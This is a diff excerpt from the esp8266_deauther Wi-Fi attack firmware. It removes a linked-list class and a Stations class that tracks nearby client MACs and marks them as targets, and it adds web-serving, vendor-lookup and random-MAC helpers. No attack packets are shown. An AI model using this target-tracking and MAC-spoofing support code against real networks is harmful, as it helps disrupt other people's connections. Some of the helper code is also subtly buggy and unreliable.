|
||||
listEnd = newNode;
|
||||
}
|
||||
|
||||
listSize++;
|
||||
sorted = false;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::add(int index, T obj) {
|
||||
if ((index < 0) || (index >= listSize)) {
|
||||
return;
|
||||
}
|
||||
|
||||
SimpleListNode<T>* newNode = new SimpleListNode<T>();
|
||||
|
||||
newNode->data = obj;
|
||||
|
||||
if (index == 0) {
|
||||
listBegin = newNode;
|
||||
} else {
|
||||
SimpleListNode<T>* nodePrev = getNode(index - 1);
|
||||
newNode->next = nodePrev->next;
|
||||
nodePrev->next = newNode;
|
||||
}
|
||||
|
||||
listSize++;
|
||||
sorted = false;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::insert(T obj) {
|
||||
if (!compare) {
|
||||
add(obj);
|
||||
return;
|
||||
}
|
||||
|
||||
if (!sorted) sort();
|
||||
|
||||
// create new node
|
||||
SimpleListNode<T>* newNode = new SimpleListNode<T>();
|
||||
|
||||
newNode->data = obj;
|
||||
|
||||
if (listSize == 0) {
|
||||
// add at start (first node)
|
||||
listBegin = newNode;
|
||||
|
||||
listEnd = newNode;
|
||||
} else {
|
||||
if (compare(obj, listEnd->data) >= 0) {
|
||||
// add at end
|
||||
listEnd->next = newNode;
|
||||
listEnd = newNode;
|
||||
} else if (compare(obj, listBegin->data) < 0) {
|
||||
// add at start
|
||||
newNode->next = listBegin;
|
||||
listBegin = newNode;
|
||||
} else {
|
||||
// insertion sort
|
||||
SimpleListNode<T>* h = listBegin;
|
||||
SimpleListNode<T>* p = NULL;
|
||||
bool found = false;
|
||||
|
||||
// here a sequential search, because otherwise the previous node couldn't be accessed
|
||||
while (h && !found) {
|
||||
if (compare(obj, h->data) < 0) {
|
||||
found = true;
|
||||
} else {
|
||||
p = h;
|
||||
h = h->next;
|
||||
}
|
||||
}
|
||||
newNode->next = h;
|
||||
|
||||
if (p) p->next = newNode;
|
||||
}
|
||||
}
|
||||
|
||||
listSize++;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::replace(int index, T obj) {
|
||||
if ((index >= 0) && (index < listSize)) {
|
||||
getNode(index)->data = obj;
|
||||
}
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::swap(int x, int y) {
|
||||
// only continue when the index numbers are unequal and at least 0
|
||||
if ((x != y) && (x >= 0) && (y >= 0)) {
|
||||
if (x > y) { // the first index should be smaller than the second. If not, swap them!
|
||||
int h = x;
|
||||
x = y;
|
||||
y = h;
|
||||
}
|
||||
|
||||
// When data is small, copy it
|
||||
if (sizeof(T) < 24) {
|
||||
SimpleListNode<T>* nodeA = getNode(x);
|
||||
SimpleListNode<T>* nodeB = getNode(y);
|
||||
T h = nodeA->data;
|
||||
nodeA->data = nodeB->data;
|
||||
nodeB->data = h;
|
||||
}
|
||||
|
||||
// otherwise change the pointers
|
||||
else {
|
||||
// Example: a -> b -> c -> ... -> g -> h -> i
|
||||
// we want to swap b with h
|
||||
SimpleListNode<T>* nodeA = getNode(x - 1); // x.prev
|
||||
SimpleListNode<T>* nodeB = getNode(x); // x
|
||||
SimpleListNode<T>* nodeC = getNode(x + 1); // x.next
|
||||
SimpleListNode<T>* nodeG = y - 1 == x ? nodeB : getNode(y - 1); // y.prev
|
||||
SimpleListNode<T>* nodeH = getNode(y); // y
|
||||
SimpleListNode<T>* nodeI = getNode(y + 1); // y.next
|
||||
|
||||
// a -> h -> i b -> c -> ... -> g -> h -> i
|
||||
if (nodeA) nodeA->next = nodeH;
|
||||
else listBegin = nodeH;
|
||||
|
||||
// a -> h -> c -> ... -> g -> h -> i b -> i
|
||||
if (nodeH != nodeC) // when nodes between b and h exist
|
||||
nodeH->next = nodeC;
|
||||
else nodeH->next = nodeB;
|
||||
|
||||
// a -> h -> i b -> i
|
||||
nodeB->next = nodeI;
|
||||
|
||||
if (!nodeI) listEnd = nodeB;
|
||||
|
||||
// a -> h -> c -> ... -> g -> b -> i
|
||||
if (nodeG != nodeB) // when more than 1 nodes between b and h exist
|
||||
nodeG->next = nodeB;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::remove(int index) {
|
||||
if ((index < 0) || (index >= listSize)) return;
|
||||
|
||||
SimpleListNode<T>* nodePrev = getNode(index - 1);
|
||||
SimpleListNode<T>* nodeToDelete = getNode(index);
|
||||
|
||||
if (index == 0) {
|
||||
listBegin = nodeToDelete->next;
|
||||
} else {
|
||||
nodePrev->next = nodeToDelete->next;
|
||||
|
||||
if (!nodePrev->next) listEnd = nodePrev;
|
||||
}
|
||||
|
||||
delete nodeToDelete;
|
||||
|
||||
isCached = false;
|
||||
|
||||
listSize--;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::removeFirst() {
|
||||
remove(0);
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::removeLast() {
|
||||
remove(listSize - 1);
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
bool SimpleList<T>::has(T obj) {
|
||||
return binSearch(obj) >= 0;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
int SimpleList<T>::count(T obj) {
|
||||
if (compare == NULL) return -1;
|
||||
|
||||
int c = 0;
|
||||
|
||||
for (int i = 0; i < listSize; i++) {
|
||||
if (compare(obj, getNode(i)->data) == 0) c++;
|
||||
}
|
||||
|
||||
return c;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
T SimpleList<T>::get(int index) {
|
||||
SimpleListNode<T>* h = getNode(index);
|
||||
|
||||
if (h) return h->data;
|
||||
|
||||
return T();
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
T SimpleList<T>::getFirst() {
|
||||
return get(0);
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
T SimpleList<T>::getLast() {
|
||||
return get(listSize - 1);
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::moveToEnd() {
|
||||
SimpleListNode<T>* h = listBegin;
|
||||
|
||||
if (!h) return;
|
||||
|
||||
listBegin = listBegin->next;
|
||||
listEnd->next = h;
|
||||
|
||||
h->next = NULL;
|
||||
listEnd = h;
|
||||
|
||||
lastNodeGot = NULL;
|
||||
lastIndexGot = -1;
|
||||
isCached = false;
|
||||
|
||||
sorted = false;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
int SimpleList<T>::search(T obj) {
|
||||
if (compare == NULL) return -1;
|
||||
|
||||
int i = 0;
|
||||
|
||||
SimpleListNode<T>* hNode = getNode(i);
|
||||
bool found = compare(obj, hNode->data) == 0;
|
||||
|
||||
while (!found && i < listSize) {
|
||||
i++;
|
||||
hNode = getNode(i);
|
||||
found = compare(obj, hNode->data) == 0;
|
||||
}
|
||||
|
||||
return found ? i : -1;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
int SimpleList<T>::searchNext(T obj) {
|
||||
if (compare == NULL) return -1;
|
||||
|
||||
int i = lastIndexGot;
|
||||
|
||||
SimpleListNode<T>* hNode = lastNodeGot;
|
||||
bool found = compare(obj, hNode->data) == 0;
|
||||
|
||||
while (!found && i < listSize) {
|
||||
i++;
|
||||
hNode = getNode(i);
|
||||
found = compare(obj, hNode->data) == 0;
|
||||
}
|
||||
|
||||
return found ? i : -1;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
int SimpleList<T>::binSearch(T obj, int lowerEnd, int upperEnd) {
|
||||
if (!compare || !sorted) return search(obj);
|
||||
|
||||
if (!listBegin) return -1;
|
||||
|
||||
int res;
|
||||
int mid = (lowerEnd + upperEnd) / 2;
|
||||
|
||||
SimpleListNode<T>* hNode = getNode(0);
|
||||
int hIndex = 0;
|
||||
|
||||
while (lowerEnd <= upperEnd) {
|
||||
hNode = lastNodeGot;
|
||||
hIndex = lastIndexGot;
|
||||
res = compare(obj, getNode(mid)->data);
|
||||
|
||||
if (res == 0) {
|
||||
return mid;
|
||||
} else if (res < 0) {
|
||||
// when going left, set cached node back to previous cached node
|
||||
lastNodeGot = hNode;
|
||||
lastIndexGot = hIndex;
|
||||
isCached = true;
|
||||
|
||||
upperEnd = mid - 1;
|
||||
mid = (lowerEnd + upperEnd) / 2;
|
||||
} else if (res > 0) {
|
||||
lowerEnd = mid + 1;
|
||||
mid = (lowerEnd + upperEnd) / 2;
|
||||
}
|
||||
}
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
int SimpleList<T>::binSearch(T obj) {
|
||||
return binSearch(obj, 0, listSize - 1);
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
T SimpleList<T>::pop() {
|
||||
T data = getLast();
|
||||
|
||||
removeLast();
|
||||
|
||||
return data;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
T SimpleList<T>::shift() {
|
||||
T data = getFirst();
|
||||
|
||||
removeFirst();
|
||||
|
||||
return data;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::clear() {
|
||||
while (listSize > 0) removeFirst();
|
||||
|
||||
listSize = 0;
|
||||
listBegin = NULL;
|
||||
listEnd = NULL;
|
||||
|
||||
lastNodeGot = NULL;
|
||||
lastIndexGot = -1;
|
||||
isCached = false;
|
||||
|
||||
sorted = true;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::sort() {
|
||||
if (compare == NULL) return;
|
||||
|
||||
// selection sort (less swaps than insertion sort)
|
||||
|
||||
int indexH; // index of node i
|
||||
int indexMin; // index of next minimum node
|
||||
|
||||
SimpleListNode<T>* nodeMin; // next minimum node
|
||||
SimpleListNode<T>* nodeH; // helper node at index j
|
||||
|
||||
for (int i = 0; i < listSize - 1; i++) {
|
||||
nodeMin = getNode(i);
|
||||
indexH = i;
|
||||
indexMin = i;
|
||||
|
||||
for (int j = i + 1; j < listSize; j++) {
|
||||
nodeH = getNode(j);
|
||||
|
||||
if (compare(nodeMin->data, nodeH->data) > 0) {
|
||||
nodeMin = nodeH;
|
||||
indexMin = j;
|
||||
}
|
||||
}
|
||||
swap(indexH, indexMin);
|
||||
}
|
||||
|
||||
this->sorted = true;
|
||||
}
|
|
@ -1,373 +0,0 @@
|
|||
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
|
||||
|
||||
#include "Stations.h"
|
||||
|
||||
Stations::Stations() {
|
||||
list = new SimpleList<Station>();
|
||||
}
|
||||
|
||||
void Stations::add(uint8_t* mac, int accesspointNum) {
|
||||
int stationNum = findStation(mac);
|
||||
|
||||
if (stationNum < 0) {
|
||||
internal_add(mac, accesspointNum);
|
||||
// print(list->size() - 1, list->size() == 1, false);
|
||||
} else {
|
||||
*getPkts(stationNum) += 1;
|
||||
*getTime(stationNum) = currentTime;
|
||||
}
|
||||
changed = true;
|
||||
}
|
||||
|
||||
int Stations::findStation(uint8_t* mac) {
|
||||
int c = count();
|
||||
|
||||
for (int i = 0; i < c; i++) {
|
||||
if (memcmp(getMac(i), mac, 6) == 0) return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
void Stations::sort() {
|
||||
list->setCompare([](Station& a, Station& b) -> int {
|
||||
if (*(a.pkts) > *(b.pkts)) return -1;
|
||||
|
||||
if (*(a.pkts) == *(b.pkts)) return 0;
|
||||
|
||||
return 1;
|
||||
});
|
||||
list->sort();
|
||||
}
|
||||
|
||||
void Stations::sortAfterChannel() {
|
||||
list->setCompare([](Station& a, Station& b) -> int {
|
||||
if (a.ch < b.ch) return -1;
|
||||
|
||||
if (a.ch == b.ch) return 0;
|
||||
|
||||
return 1;
|
||||
});
|
||||
list->sort();
|
||||
}
|
||||
|
||||
void Stations::removeAll() {
|
||||
internal_removeAll();
|
||||
prntln(ST_CLEARED_LIST);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Stations::removeOldest() {
|
||||
int oldest = 0;
|
||||
int c = count();
|
||||
|
||||
for (int i = 1; i < c; i++) {
|
||||
if (*getTime(i) > *getTime(oldest)) oldest = i;
|
||||
}
|
||||
internal_remove(oldest);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Stations::printAll() {
|
||||
prntln(ST_HEADER);
|
||||
int c = count();
|
||||
|
||||
if (c == 0) prntln(ST_LIST_EMPTY);
|
||||
else
|
||||
for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1);
|
||||
}
|
||||
|
||||
void Stations::printSelected() {
|
||||
prntln(ST_HEADER);
|
||||
int max = selected();
|
||||
int c = count();
|
||||
|
||||
if (max == 0) {
|
||||
prntln(ST_NO_DEVICES_SELECTED);
|
||||
return;
|
||||
}
|
||||
|
||||
for (int i = 0, j = 0; i < c && j < max; i++) {
|
||||
if (getSelected(i)) {
|
||||
print(i, j == 0, j == max - 1);
|
||||
j++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void Stations::print(int num) {
|
||||
print(num, true, true);
|
||||
}
|
||||
|
||||
void Stations::print(int num, bool header, bool footer) {
|
||||
if (!check(num)) return;
|
||||
|
||||
if (header) {
|
||||
prntln(ST_TABLE_HEADER);
|
||||
prntln(ST_TABLE_DIVIDER);
|
||||
}
|
||||
|
||||
prnt(leftRight(String(), (String)num, 2));
|
||||
prnt(leftRight(String(SPACE) + getMacStr(num), String(), 18));
|
||||
prnt(leftRight(String(SPACE), (String)getCh(num), 3));
|
||||
prnt(leftRight(String(SPACE) + getNameStr(num), String(), 17));
|
||||
prnt(leftRight(String(SPACE) + getVendorStr(num), String(), 9));
|
||||
prnt(leftRight(String(SPACE), (String) * getPkts(num), 9));
|
||||
prnt(leftRight(String(SPACE) + getAPStr(num), String(), 33));
|
||||
prnt(leftRight(String(SPACE) + getTimeStr(num), String(), 10));
|
||||
prntln(leftRight(String(SPACE) + getSelectedStr(num), String(), 9));
|
||||
|
||||
if (footer) prntln(ST_TABLE_DIVIDER);
|
||||
}
|
||||
|
||||
String Stations::getAPStr(int num) {
|
||||
if (getAP(num) < 0) return String();
|
||||
|
||||
return accesspoints.getSSID(getAP(num));
|
||||
}
|
||||
|
||||
uint8_t* Stations::getAPMac(int num) {
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return WiFi.BSSID(list->get(num).ap);
|
||||
}
|
||||
|
||||
String Stations::getAPMacStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
uint8_t* mac = getAPMac(num);
|
||||
|
||||
return bytesToStr(mac, 6);
|
||||
}
|
||||
|
||||
int Stations::getAP(int num) {
|
||||
if (!check(num)) return -1;
|
||||
|
||||
return accesspoints.find(list->get(num).ap);
|
||||
}
|
||||
|
||||
String Stations::getNameStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
return names.find(getMac(num));
|
||||
}
|
||||
|
||||
bool Stations::hasName(int num) {
|
||||
if (!check(num)) return false;
|
||||
|
||||
return names.findID(getMac(num)) >= 0;
|
||||
}
|
||||
|
||||
uint8_t* Stations::getMac(int num) {
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return list->get(num).mac;
|
||||
}
|
||||
|
||||
String Stations::getMacStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
uint8_t* mac = getMac(num);
|
||||
|
||||
return bytesToStr(mac, 6);
|
||||
}
|
||||
|
||||
String Stations::getMacVendorStr(int num) {
|
||||
String value;
|
||||
|
||||
if (check(num)) {
|
||||
value = getVendorStr(num) + ":";
|
||||
uint8_t* mac = getMac(num);
|
||||
|
||||
for (int i = 3; i < 6; i++) {
|
||||
if (mac[i] < 0x10) value += "0";
|
||||
value += String(mac[i], HEX);
|
||||
|
||||
if (i < 5) value += ":";
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
String Stations::getVendorStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
return searchVendor(list->get(num).mac);
|
||||
}
|
||||
|
||||
String Stations::getSelectedStr(int num) {
|
||||
return b2a(getSelected(num));
|
||||
}
|
||||
|
||||
uint32_t* Stations::getPkts(int num) {
|
||||
if (!check(num)) return NULL;
|
||||
|
||||
return list->get(num).pkts;
|
||||
}
|
||||
|
||||
uint32_t* Stations::getTime(int num) {
|
||||
if (!check(num)) return NULL;
|
||||
|
||||
return list->get(num).time;
|
||||
}
|
||||
|
||||
String Stations::getTimeStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
uint32_t difference = currentTime - *getTime(num);
|
||||
|
||||
if (difference < 1000) return str(ST_SMALLER_ONESEC);
|
||||
else if (difference < 60000) return str(ST_SMALLER_ONEMIN);
|
||||
else {
|
||||
uint32_t minutes = difference / 60000;
|
||||
|
||||
if (minutes > 60) return str(ST_BIGER_ONEHOUR);
|
||||
else return (String)minutes + str(STR_MIN);
|
||||
}
|
||||
}
|
||||
|
||||
bool Stations::getSelected(int num) {
|
||||
if (!check(num)) return false;
|
||||
|
||||
return list->get(num).selected;
|
||||
}
|
||||
|
||||
uint8_t Stations::getCh(int num) {
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return list->get(num).ch;
|
||||
}
|
||||
|
||||
void Stations::select(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_select(num);
|
||||
prnt(ST_SELECTED_STATION);
|
||||
prntln(num);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Stations::deselect(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_deselect(num);
|
||||
prnt(ST_DESELECTED_STATION);
|
||||
prntln(num);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Stations::remove(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
prnt(ST_REMOVED_STATION);
|
||||
prntln(num);
|
||||
|
||||
internal_remove(num);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Stations::select(String ssid) {
|
||||
for (int i = 0; i < list->size(); i++) {
|
||||
if (getAPStr(i).equalsIgnoreCase(ssid)) select(i);
|
||||
}
|
||||
}
|
||||
|
||||
void Stations::deselect(String ssid) {
|
||||
for (int i = 0; i < list->size(); i++) {
|
||||
if (getAPStr(i).equalsIgnoreCase(ssid)) deselect(i);
|
||||
}
|
||||
}
|
||||
|
||||
void Stations::remove(String ssid) {
|
||||
for (int i = 0; i < list->size(); i++) {
|
||||
if (getAPStr(i).equalsIgnoreCase(ssid)) remove(i);
|
||||
}
|
||||
}
|
||||
|
||||
void Stations::selectAll() {
|
||||
for (int i = 0; i < count(); i++) internal_select(i);
|
||||
prntln(ST_SELECTED_ALL);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Stations::deselectAll() {
|
||||
for (int i = 0; i < count(); i++) internal_deselect(i);
|
||||
prntln(ST_DESELECTED_ALL);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
int Stations::count() {
|
||||
return list->size();
|
||||
}
|
||||
|
||||
int Stations::selected() {
|
||||
int num = 0;
|
||||
|
||||
for (int i = 0; i < count(); i++)
|
||||
if (getSelected(i)) num++;
|
||||
return num;
|
||||
}
|
||||
|
||||
bool Stations::check(int num) {
|
||||
if (internal_check(num)) {
|
||||
return true;
|
||||
} else {
|
||||
prnt(ST_ERROR_ID);
|
||||
prntln(num);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
bool Stations::internal_check(int num) {
|
||||
return num >= 0 && num < count();
|
||||
}
|
||||
|
||||
void Stations::internal_select(int num) {
|
||||
Station changedStation = list->get(num);
|
||||
|
||||
changedStation.selected = true;
|
||||
list->replace(num, changedStation);
|
||||
}
|
||||
|
||||
void Stations::internal_deselect(int num) {
|
||||
Station changedStation = list->get(num);
|
||||
|
||||
changedStation.selected = false;
|
||||
list->replace(num, changedStation);
|
||||
}
|
||||
|
||||
void Stations::internal_remove(int num) {
|
||||
free(getMac(num));
|
||||
free(getPkts(num));
|
||||
free(getTime(num));
|
||||
list->remove(num);
|
||||
}
|
||||
|
||||
void Stations::internal_add(uint8_t* mac, int accesspointNum) {
|
||||
if (count() >= STATION_LIST_SIZE) removeOldest();
|
||||
|
||||
Station newStation;
|
||||
|
||||
newStation.ap = accesspointNum;
|
||||
newStation.ch = wifi_channel;
|
||||
newStation.mac = (uint8_t*)malloc(6);
|
||||
newStation.pkts = (uint32_t*)malloc(sizeof(uint32_t));
|
||||
newStation.time = (uint32_t*)malloc(sizeof(uint32_t));
|
||||
newStation.selected = false;
|
||||
|
||||
memcpy(newStation.mac, mac, 6);
|
||||
*newStation.pkts = 1;
|
||||
*newStation.time = currentTime;
|
||||
|
||||
list->add(newStation);
|
||||
}
|
||||
|
||||
void Stations::internal_removeAll() {
|
||||
int c = count();
|
||||
|
||||
for (int i = 0; i < c; i++) {
|
||||
free(getMac(i));
|
||||
free(getPkts(i));
|
||||
free(getTime(i));
|
||||
}
|
||||
list->clear();
|
||||
}
|
|
@ -1,97 +0,0 @@
|
|||
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "Arduino.h"
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include "language.h"
|
||||
#include "SimpleList.h"
|
||||
#include "Accesspoints.h"
|
||||
#include "Names.h"
|
||||
|
||||
#define STATION_LIST_SIZE 60
|
||||
extern Accesspoints accesspoints;
|
||||
extern Names names;
|
||||
extern uint8_t wifi_channel;
|
||||
extern uint32_t currentTime;
|
||||
|
||||
extern String searchVendor(uint8_t* mac);
|
||||
extern bool macMulticast(uint8_t* mac);
|
||||
extern bool macValid(uint8_t* mac);
|
||||
extern bool macBroadcast(uint8_t* mac);
|
||||
extern String bytesToStr(const uint8_t* b, uint32_t size);
|
||||
|
||||
class Stations {
|
||||
public:
|
||||
Stations();
|
||||
|
||||
void sort();
|
||||
void sortAfterChannel();
|
||||
|
||||
void select(int num);
|
||||
void deselect(int num);
|
||||
void remove(int num);
|
||||
|
||||
void select(String ssid);
|
||||
void deselect(String ssid);
|
||||
void remove(String ssid);
|
||||
|
||||
void add(uint8_t* mac, int accesspointNum);
|
||||
|
||||
void selectAll();
|
||||
void deselectAll();
|
||||
void removeAll();
|
||||
void removeOldest();
|
||||
|
||||
String getNameStr(int num);
|
||||
String getAPStr(int num);
|
||||
String getMacStr(int num);
|
||||
String getMacVendorStr(int num);
|
||||
String getVendorStr(int num);
|
||||
String getTimeStr(int num);
|
||||
String getSelectedStr(int num);
|
||||
uint8_t* getAPMac(int num);
|
||||
String getAPMacStr(int num);
|
||||
uint8_t* getMac(int num);
|
||||
uint32_t* getPkts(int num);
|
||||
uint32_t* getTime(int num);
|
||||
uint8_t getCh(int num);
|
||||
int getAP(int num);
|
||||
bool getSelected(int num);
|
||||
bool hasName(int num);
|
||||
|
||||
void print(int num);
|
||||
void print(int num, bool header, bool footer);
|
||||
void printAll();
|
||||
void printSelected();
|
||||
|
||||
int count();
|
||||
int selected();
|
||||
|
||||
bool check(int num);
|
||||
bool changed = false;
|
||||
|
||||
private:
|
||||
struct Station {
|
||||
uint8_t ap;
|
||||
uint8_t ch;
|
||||
uint8_t * mac;
|
||||
uint32_t* pkts;
|
||||
uint32_t* time;
|
||||
bool selected;
|
||||
};
|
||||
|
||||
SimpleList<Station>* list;
|
||||
|
||||
int findStation(uint8_t* mac);
|
||||
int findAccesspoint(uint8_t* mac);
|
||||
|
||||
bool internal_check(int num);
|
||||
void internal_select(int num);
|
||||
void internal_deselect(int num);
|
||||
void internal_add(uint8_t* mac, int accesspointNum);
|
||||
void internal_remove(int num);
|
||||
void internal_removeAll();
|
||||
};
|
|
@ -0,0 +1,590 @@
|
|||
#ifndef data_h
|
||||
#define data_h
|
||||
|
||||
#include "oui.h"
|
||||
|
||||
static uint8_t data_macBuffer;
|
||||
static char data_vendorBuffer;
|
||||
static String data_vendorStrBuffer = "";
|
||||
|
||||
#define bufSize 6000
|
||||
int bufc = 0; //buffer counter;
|
||||
|
||||
char data_websiteBuffer[bufSize];
|
||||
|
||||
/* sendHeader must be called first,
|
||||
then copy every string (or substring, when generating json files) with sendToBuffer
|
||||
and if everything is done call sendBuffer.
|
||||
*/
|
||||
void sendBuffer() {
|
||||
if(bufc > 0) {
|
||||
server.sendContent_P(data_websiteBuffer, bufc);
|
||||
bufc = 0;
|
||||
}
|
||||
}
|
||||
|
||||
void sendToBuffer(String str) {
|
||||
size_t len = str.length();
|
||||
if(bufc + len > bufSize){
|
||||
server.sendContent_P(data_websiteBuffer, bufc);
|
||||
bufc = 0;
|
||||
}
|
||||
memcpy(data_websiteBuffer + bufc, str.c_str(), len);
|
||||
bufc += len;
|
||||
}
|
||||
|
||||
void sendHeader(int code, String type, size_t _size) {
|
||||
server.setContentLength(_size);
|
||||
server.send(code, type, "");
|
||||
}
|
||||
|
||||
bool sendSPIFFSFile(String path, String mime) {
|
||||
#ifdef debug
|
||||
Serial.print("REQ: ");
|
||||
Serial.print(path);
|
||||
Serial.print(" (");
|
||||
Serial.print(mime);
|
||||
Serial.print(")");
|
||||
#endif
|
||||
|
||||
if(SPIFFS.exists(path)) {
|
||||
//Serial.println("File exists");
|
||||
File myFile = SPIFFS.open(path, "r");
|
||||
server.streamFile(myFile, mime);
|
||||
myFile.close();
|
||||
#ifdef debug
|
||||
Serial.println(" [OK]");
|
||||
#endif
|
||||
return true;
|
||||
} else {
|
||||
Serial.println(" [SPIFFS FAIL]");
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
bool loadFromFlash(String path) {
|
||||
String dataType = "text/plain";
|
||||
if(path.endsWith("/")) path += "index.html";
|
||||
|
||||
if(path.endsWith("html")) dataType = "text/html";
|
||||
if(path.endsWith("css")) dataType = "text/css;charset=UTF-8";
|
||||
if(path.endsWith("js")) dataType = "text/javascript";
|
||||
if(path.endsWith("json")) dataType = "text/json";
|
||||
|
||||
return sendSPIFFSFile(path, dataType);
|
||||
|
||||
}
|
||||
|
||||
String data_getVendor(uint8_t first, uint8_t second, uint8_t third) {
|
||||
data_vendorStrBuffer = "";
|
||||
|
||||
for (int i = 0; i < sizeof(data_vendors) / 11; i++) {
|
||||
|
||||
data_macBuffer = pgm_read_byte_near(data_vendors + i * 11 + 0);
|
||||
if (data_macBuffer == first) {
|
||||
data_macBuffer = pgm_read_byte_near(data_vendors + i * 11 + 1);
|
||||
if (data_macBuffer == second) {
|
||||
data_macBuffer = pgm_read_byte_near(data_vendors + i * 11 + 2);
|
||||
if (data_macBuffer == third) {
|
||||
|
||||
for (int h = 0; h < 8; h++) {
|
||||
data_vendorBuffer = (char)pgm_read_byte_near(data_vendors + i * 11 + 3 + h);
|
||||
if (data_vendorBuffer != 0x00) data_vendorStrBuffer += data_vendorBuffer;
|
||||
}
|
||||
return data_vendorStrBuffer;
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
return data_vendorStrBuffer;
|
||||
}
|
||||
/*
|
||||
char* data_getStyle() {
|
||||
int _size = sizeof(data_styleCSS);
|
||||
for (int i = 0; i < sizeof(data_websiteBuffer); i++) {
|
||||
if (i < _size) data_websiteBuffer[i] = pgm_read_byte_near(data_styleCSS + i);
|
||||
else data_websiteBuffer[i] = 0x00;
|
||||
}
|
||||
return data_websiteBuffer;
|
||||
}*/
|
||||
|
||||
//source: https://forum.arduino.cc/index.php?topic=38107.0
|
||||
void PrintHex8(uint8_t *data, uint8_t length) {
|
||||
Serial.print("0x");
|
||||
for (int i = 0; i < length; i++) {
|
||||
if (data[i] < 0x10) {
|
||||
Serial.print("0");
|
||||
}
|
||||
Serial.print(data[i], HEX);
|
||||
Serial.print(" ");
|
||||
}
|
||||
}
|
||||
|
||||
//source: http://shelvin.de/eine-integer-zahl-in-das-arduiono-eeprom-schreiben/
|
||||
void eepromWriteInt(int adr, int val) {
|
||||
byte low, high;
|
||||
low = val & 0xFF;
|
||||
high = (val >> 8) & 0xFF;
|
||||
EEPROM.write(adr, low);
|
||||
EEPROM.write(adr + 1, high);
|
||||
return;
|
||||
}
|
||||
|
||||
int eepromReadInt(int adr) {
|
||||
byte low, high;
|
||||
low = EEPROM.read(adr);
|
||||
high = EEPROM.read(adr + 1);
|
||||
return low + ((high << 8) & 0xFF00);
|
||||
}
|
||||
|
||||
void getRandomVendorMac(uint8_t *buf) {
|
||||
int _macRandom = random(sizeof(data_vendors) / 11);
|
||||
for (int h = 0; h < 3; h++) buf[h] = pgm_read_byte_near(data_vendors + _macRandom * 11 + h);
|
||||
for (int h = 0; h < 3; h++) buf[h + 3] = random(255);
|
||||
}
|
||||
|
||||
bool intInArray(int num, int _array[]) {
|
||||
for (int i = 0; i < sizeof(_array); i++) {
|
||||
if (_array[i] == num) return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
File errlog;
|
||||
void openLog(){ errlog = SPIFFS.open("/log.txt", "a");}
|
||||
void addLog(String str){if(errlog){ errlog.println(str); Serial.println(str);}}
|
||||
void closeLog(){ errlog.close(); }
|
||||
|
||||
// Created by http://oleddisplay.squix.ch/ Consider a donation
|
||||
// In case of problems make sure that you are using the font file with the correct version!
|
||||
const char Roboto_Mono_8[] PROGMEM = {
|
||||
0x07, // Width: 7
|
||||
0x0A, // Height: 10
|
||||
0x20, // First Char: 32
|
||||
0xE0, // Numbers of Chars: 224
|
||||
|
||||
// Jump Table:
|
||||
0xFF, 0xFF, 0x00, 0x05, // 32:65535
|
||||
0x00, 0x00, 0x05, 0x05, // 33:0
|
||||
0x00, 0x05, 0x05, 0x04, // 34:5
|
||||
0x00, 0x0A, 0x09, 0x05, // 35:10
|
||||
0x00, 0x13, 0x07, 0x05, // 36:19
|
||||
0x00, 0x1A, 0x0B, 0x06, // 37:26
|
||||
0x00, 0x25, 0x09, 0x05, // 38:37
|
||||
0x00, 0x2E, 0x05, 0x05, // 39:46
|
||||
0x00, 0x33, 0x06, 0x05, // 40:51
|
||||
